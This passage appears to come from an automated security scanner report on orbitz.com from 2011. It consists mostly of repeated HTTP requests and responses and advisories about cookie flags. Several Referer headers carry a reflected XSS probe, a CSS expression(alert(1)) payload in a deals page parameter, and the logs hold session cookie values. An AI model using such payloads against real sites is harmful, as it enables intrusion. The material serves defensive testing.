WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: http://www.orbitz.com/App/DelayedSignIn?partnerUrl=updates.orbitz.com/ Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secure/PerformDisplayMyTrips?shadowing=false HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: http://www.orbitz.com/App/PerformDisplayMyTrips?shadowing=false Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secure/PrepareMemberPreferences HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: http://www.orbitz.com/App/PrepareMemberPreferences Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secure/SignOut HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: http://www.orbitz.com/App/SignOut Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secure/ViewNewMemberReg?z=2eb1&r=4&signInType=explicit HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: http://www.orbitz.com/App/ViewNewMemberReg?z=2eb1&r=4&signInType=explicit Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secure/ViewSetupCareAlertsProfile HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: http://www.orbitz.com/App/ViewSetupCareAlertsProfile Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/www/orb/rss/flightdeals.rss.xml?z=2eae&r=1 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pagedef/content/legal/bestPriceGuarantee.jsp?popupsDisabled=false HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><!-- IA Page ID: TODO ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shared/css/DPTLiteDetails.css.jsp?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shared/css/calendar.css.jsp?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/ViewDHTMLCalendar?z=2ec5&r=o Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shared/css/dealsOrbot.css.jsp?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shared/css/dialog.css.jsp?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shared/css/global.css.jsp?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shared/css/homepage.css.jsp HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296342267897:ss=1296342267897; OSC=265DA875C314B0C54855FC80AB1B1D8C; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
